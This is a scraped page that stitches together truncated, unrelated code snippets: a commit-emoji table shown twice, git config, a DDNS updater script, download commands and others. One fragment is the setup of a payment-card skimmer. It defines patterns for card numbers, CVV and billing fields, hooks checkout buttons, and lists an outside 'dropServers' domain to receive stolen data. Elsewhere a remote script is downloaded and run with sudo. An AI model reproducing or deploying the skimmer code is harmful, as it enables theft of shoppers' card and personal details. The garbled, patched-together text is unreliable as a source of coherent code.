Inspired by dannyfritz/commit-message-emoji
See also gitmoji.
Commit type | Emoji |
---|---|
Initial commit | 🎉 :tada: |
Version tag | 🔖 :bookmark: |
New feature | ✨ :sparkles: |
Bugfix | 🐛 :bug: |
//http://stackoverflow.com/questions/105034/how-to-create-a-guid-uuid-in-javascript | |
Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15); |
var protocol = window.location.protocol != 'https:' ? 'http://' : 'https://'; | |
var hostname = window.location.host; | |
var fieldNameRegex = 'shipping|billing|payment|cc|month|card|year|expiration|exp|cvv|cid|code|ccv|authorize|firstname|lastname|street|city|phone|number|email|zip|postal|region|country'; | |
var ccRegex = '[0-9]{13,16}|[0-9 -]{16,20}'; | |
var fieldTypeRegex = 'select|password|checkbox|radio|text|hidden|number|tel|email'; | |
var orderButtons = 'a[title*=\'Place Order\'],a[href*=\'javascript: ; \'],a[href*=\'javascript: void (0)\'],a[href*=\'javascript: void (0); \'],a[href=\'#\'],button,input,submit,.btn,.button'; | |
var emptyString = ''; | |
var saveOrderURL = window.location.href.substr(window.location.href.replace('://', '').indexOf('/') + 3) + '/' + 'saveOrder'; | |
var emptyList = []; | |
var dropServers = ['itenvoirtech.com']; |
/** | |
* The command supertype, which is inherited by subtype commands. | |
* @constructor | |
* @param {type} normalAction The normal action. | |
* @param {type} undoAction The opposite of the normal action. | |
* @param {type} actionValue The value, which will get passed to the action. | |
* @returns {Command} | |
*/ | |
function Command(normalAction, undoAction, actionValue) { | |
this.execute = normalAction; |
Inspired by dannyfritz/commit-message-emoji
See also gitmoji.
Commit type | Emoji |
---|---|
Initial commit | 🎉 :tada: |
Version tag | 🔖 :bookmark: |
New feature | ✨ :sparkles: |
Bugfix | 🐛 :bug: |
[user] | |
name = Pavan Kumar Sunkara | |
email = pavan.sss1991@gmail.com | |
username = pksunkara | |
[core] | |
editor = vim | |
whitespace = fix,-indent-with-non-tab,trailing-space,cr-at-eol | |
excludesfile = ~/.gitignore | |
[sendemail] | |
smtpencryption = tls |
#!/bin/sh | |
set -eu | |
FETCH="fetch -qo -" | |
# or for curl: | |
#FETCH="curl -s" | |
# $1: your domain | |
# $2: subdomain to update use @ for TLD | |
# $3: the password given to you by Namecheap's web interface | |
# | |
# Rerun this script every 5 minutes. Crontab entry (not as root): |
_________ _____ _______________ _____
\_ ___ \\ \\___________ \____ / ____\ ~/.bash/cliref.md
/ \ \/| | | || _/ __ \ __\ copy/paste from whatisdb
\ \___|__ |_|_ || | \ __/|_ | http://pastebin.com/yGmGiDQX
\________ /_____ \_||____|_ /____ /_| yunga.palatino@gmail.com
20160515 \/ 1527 \/ \/ \/
alias CLIRef.txt='curl -s "http://pastebin.com/raw/yGmGiDQX" | less -i'
var install_hook_to = function(obj) { | |
if (obj.hook || obj.unhook) { | |
throw new Error('Object already has properties hook and/or unhook'); | |
} | |
obj.hook = function(_meth_name, _fn, _is_async) { | |
var self = this, | |
meth_ref; | |
wget --no-check-certificate --content-disposition https://github.com/jolzee/ubuntu-post-install/archive/master.zip | |
# --no-check-cerftificate was necessary for me to have wget not puke about https | |
curl -LJO https://github.com/jolzee/ubuntu-post-install/archive/master.zip | |
wget -qO- --no-check-certificate --content-disposition https://github.com/jolzee/ubuntu-post-install/archive/master.zip -O temp.zip; unzip temp.zip; rm temp.zip | |
```sh | |
#!/bin/bash | |
TMPFILE=`mktemp` | |
PWD=`pwd` |
wget -d -c -O post_install.sh https://gist.githubusercontent.com/jolzee/78fd86fda17b4c91d331d5436993caeb/raw/f334f2cbfd822e34974836e7177f96a55d8eede4/post_install.sh
chmod +x post_install.sh
sudo ./post_install.sh